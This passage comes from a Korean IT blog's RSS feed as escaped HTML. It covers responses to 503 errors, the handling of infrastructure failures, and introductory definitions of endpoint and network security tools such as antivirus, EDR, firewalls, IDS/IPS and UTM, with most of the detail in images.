&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;762&quot; data-origin-height=&quot;393&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VC43r/btsOmTZLwcv/r95Yc9WVl4L6YfKDBVSlM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VC43r/btsOmTZLwcv/r95Yc9WVl4L6YfKDBVSlM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VC43r/btsOmTZLwcv/r95Yc9WVl4L6YfKDBVSlM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVC43r%2FbtsOmTZLwcv%2Fr95Yc9WVl4L6YfKDBVSlM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;762&quot; height=&quot;393&quot; data-origin-width=&quot;762&quot; data-origin-height=&quot;393&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 503 Service Temporarily Unavailable 발생 시 대처방안&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 웹 서버 앞단에 로드밸런서를 배치하여 트래픽 분산&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 티켓팅, 수강신청 시 대기열 발생할 수 있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;769&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfQL5U/btsOlNsncJo/xF9KmijQVkmS986Q50wx3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfQL5U/btsOlNsncJo/xF9KmijQVkmS986Q50wx3k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfQL5U/btsOlNsncJo/xF9KmijQVkmS986Q50wx3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfQL5U%2FbtsOlNsncJo%2FxF9KmijQVkmS986Q50wx3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;769&quot; height=&quot;400&quot; data-origin-width=&quot;769&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 웹 서버와 애플리케이션 서버 사이의 설정 점검&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;233&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cNpQWP/btsOoluf7iT/3tS2g1cneeLtNwh8SraLx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cNpQWP/btsOoluf7iT/3tS2g1cneeLtNwh8SraLx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cNpQWP/btsOoluf7iT/3tS2g1cneeLtNwh8SraLx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcNpQWP%2FbtsOoluf7iT%2F3tS2g1cneeLtNwh8SraLx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;652&quot; height=&quot;233&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;233&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;IT 인프라 장애 유형 파악 프로세스&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 일반적인 IT 인프라 장애 유형 파악 및 처리 프로세스&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;776&quot; data-origin-height=&quot;287&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGSyoH/btsOmwDPVVc/nKhCVyLczGkBZElo5HuNMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGSyoH/btsOmwDPVVc/nKhCVyLczGkBZElo5HuNMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGSyoH/btsOmwDPVVc/nKhCVyLczGkBZElo5HuNMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGSyoH%2FbtsOmwDPVVc%2FnKhCVyLczGkBZElo5HuNMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;776&quot; height=&quot;287&quot; data-origin-width=&quot;776&quot; data-origin-height=&quot;287&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 현업에서 자주 발생하는 장애 유형 및 원인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;378&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cexUFF/btsOnbFWkfy/ygwkJYROiMBTDRJjy1mD60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cexUFF/btsOnbFWkfy/ygwkJYROiMBTDRJjy1mD60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cexUFF/btsOnbFWkfy/ygwkJYROiMBTDRJjy1mD60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcexUFF%2FbtsOnbFWkfy%2FygwkJYROiMBTDRJjy1mD60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;742&quot; height=&quot;378&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;378&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;장애 상황 및 후속 조치 예시&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 장애 시나리오&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;318&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5ozUt/btsOoika0Kt/upCzeQxVAhKPondt4HMMA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5ozUt/btsOoika0Kt/upCzeQxVAhKPondt4HMMA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5ozUt/btsOoika0Kt/upCzeQxVAhKPondt4HMMA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5ozUt%2FbtsOoika0Kt%2FupCzeQxVAhKPondt4HMMA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;742&quot; height=&quot;318&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;318&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 장애 해결을 위한 체크 포인트&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;741&quot; data-origin-height=&quot;369&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wb6qR/btsOm9BfqlX/U1I0tuH9rIY7Cf6SFiYwzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wb6qR/btsOm9BfqlX/U1I0tuH9rIY7Cf6SFiYwzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wb6qR/btsOm9BfqlX/U1I0tuH9rIY7Cf6SFiYwzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwb6qR%2FbtsOm9BfqlX%2FU1I0tuH9rIY7Cf6SFiYwzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;741&quot; height=&quot;369&quot; data-origin-width=&quot;741&quot; data-origin-height=&quot;369&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 장애 해결 이후 후속 조치&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;740&quot; data-origin-height=&quot;332&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lWrH6/btsOoFso33y/kYEZ6zpD3NAcpAqZcMeB8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lWrH6/btsOoFso33y/kYEZ6zpD3NAcpAqZcMeB8k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lWrH6/btsOoFso33y/kYEZ6zpD3NAcpAqZcMeB8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlWrH6%2FbtsOoFso33y%2FkYEZ6zpD3NAcpAqZcMeB8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;740&quot; height=&quot;332&quot; data-origin-width=&quot;740&quot; data-origin-height=&quot;332&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>IT 지식/IT 인프라 기초</category>
      <category>404 not found</category>
      <category>IT 인프라</category>
      <category>인프라 장애</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/224</guid>
      <comments>https://it-log.tistory.com/224#entry224comment</comments>
      <pubDate>Tue, 3 Jun 2025 22:00:44 +0900</pubDate>
    </item>
    <item>
      <title>IT 인프라 보안</title>
      <link>https://it-log.tistory.com/223</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;엔드포인트 보안&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 엔드포인트: Endpoint, 컴퓨터 네트워크에 연결되는 모든 장치(사용자가 접근하는 기기 - PC, 스마트폰)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 악성코드(Malware) 종류&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1134&quot; data-origin-height=&quot;401&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0JIoA/btsOkRgHNVG/0RadWm0rNHFxQHRBjBUNZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0JIoA/btsOkRgHNVG/0RadWm0rNHFxQHRBjBUNZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0JIoA/btsOkRgHNVG/0RadWm0rNHFxQHRBjBUNZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0JIoA%2FbtsOkRgHNVG%2F0RadWm0rNHFxQHRBjBUNZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1134&quot; height=&quot;401&quot; data-origin-width=&quot;1134&quot; data-origin-height=&quot;401&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 국내의 대표적인 보안사고 사례&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1041&quot; data-origin-height=&quot;474&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ovH4u/btsOlueqy97/llX9NWWlju0t1TN0kEqmyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ovH4u/btsOlueqy97/llX9NWWlju0t1TN0kEqmyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ovH4u/btsOlueqy97/llX9NWWlju0t1TN0kEqmyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FovH4u%2FbtsOlueqy97%2FllX9NWWlju0t1TN0kEqmyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1041&quot; height=&quot;474&quot; data-origin-width=&quot;1041&quot; data-origin-height=&quot;474&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Endpoint: 기업 네트워크에 연결된 최종 단계의 기기 / PC, 노트북, 스마트폰 ,태블릿 등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- AV(Anti Virus): 컴퓨터의 악성코드를 찾아내고 치료, 방어하기 위한 소프트웨어&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;433&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYe1rX/btsOnbq9Yiv/fykyMlVV5wEnqxSx3rN0Xk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYe1rX/btsOnbq9Yiv/fykyMlVV5wEnqxSx3rN0Xk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYe1rX/btsOnbq9Yiv/fykyMlVV5wEnqxSx3rN0Xk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYe1rX%2FbtsOnbq9Yiv%2FfykyMlVV5wEnqxSx3rN0Xk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1022&quot; height=&quot;433&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;433&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- EDR(Endpoint Detection and Response): AV에서 진화된 보안 솔루션&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 악성코드를 실시간으로 감지하고 분석 및 대응해서 피해확산을 막는 솔루션&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;751&quot; data-origin-height=&quot;372&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmt3gu/btsOlyBas5A/bWKQ1KxWjBbcZyKMLZbYwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmt3gu/btsOlyBas5A/bWKQ1KxWjBbcZyKMLZbYwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmt3gu/btsOlyBas5A/bWKQ1KxWjBbcZyKMLZbYwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbmt3gu%2FbtsOlyBas5A%2FbWKQ1KxWjBbcZyKMLZbYwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;751&quot; height=&quot;372&quot; data-origin-width=&quot;751&quot; data-origin-height=&quot;372&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 대표적인 EDR 솔루션의 작동 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 동일한 EDR 솔루션을 사용하는 고객끼리 TI 정보를 공유하여 방어 체계 업데이트&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;764&quot; data-origin-height=&quot;481&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgSjk5/btsOmuLuKuD/lkvvyacxsQTIjRaCKjeCoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgSjk5/btsOmuLuKuD/lkvvyacxsQTIjRaCKjeCoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgSjk5/btsOmuLuKuD/lkvvyacxsQTIjRaCKjeCoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgSjk5%2FbtsOmuLuKuD%2FlkvvyacxsQTIjRaCKjeCoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;764&quot; height=&quot;481&quot; data-origin-width=&quot;764&quot; data-origin-height=&quot;481&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;네트워크 보안&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 방화벽(Firewall): 네트워크 상의 패킷을 모니터링하고 허용되지 않은 접근은 차단하는 보안 장비&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;343&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2uQiI/btsOk6SFS7G/rLEDDN1C0mWN6QsB8Z0He0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2uQiI/btsOk6SFS7G/rLEDDN1C0mWN6QsB8Z0He0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2uQiI/btsOk6SFS7G/rLEDDN1C0mWN6QsB8Z0He0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2uQiI%2FbtsOk6SFS7G%2FrLEDDN1C0mWN6QsB8Z0He0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;918&quot; height=&quot;343&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;343&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- IDS/IPS(Intrusion Detection System / Intrusion Prevention System): 네트워크 침입 탐지 및 방지 시스템&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;746&quot; data-origin-height=&quot;454&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWYxCh/btsOlN5QmVi/TtZYpsg9YJkXuD90zjKDy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWYxCh/btsOlN5QmVi/TtZYpsg9YJkXuD90zjKDy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWYxCh/btsOlN5QmVi/TtZYpsg9YJkXuD90zjKDy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWYxCh%2FbtsOlN5QmVi%2FTtZYpsg9YJkXuD90zjKDy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;746&quot; height=&quot;454&quot; data-origin-width=&quot;746&quot; data-origin-height=&quot;454&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 방화벽, IDS/IPS 차이&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;501&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpoi0B/btsOkUycvL0/N1vWt5zmIhTeiQVcXxcB01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpoi0B/btsOkUycvL0/N1vWt5zmIhTeiQVcXxcB01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpoi0B/btsOkUycvL0/N1vWt5zmIhTeiQVcXxcB01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbpoi0B%2FbtsOkUycvL0%2FN1vWt5zmIhTeiQVcXxcB01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;970&quot; height=&quot;501&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;501&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- UTM(Unified Threat Management): 방화벽, IDS/IPS, VPN, AV, 필터링 등 다양한 보안기능을 제공하는 통합위협관리 솔루션&lt;/p&gt;
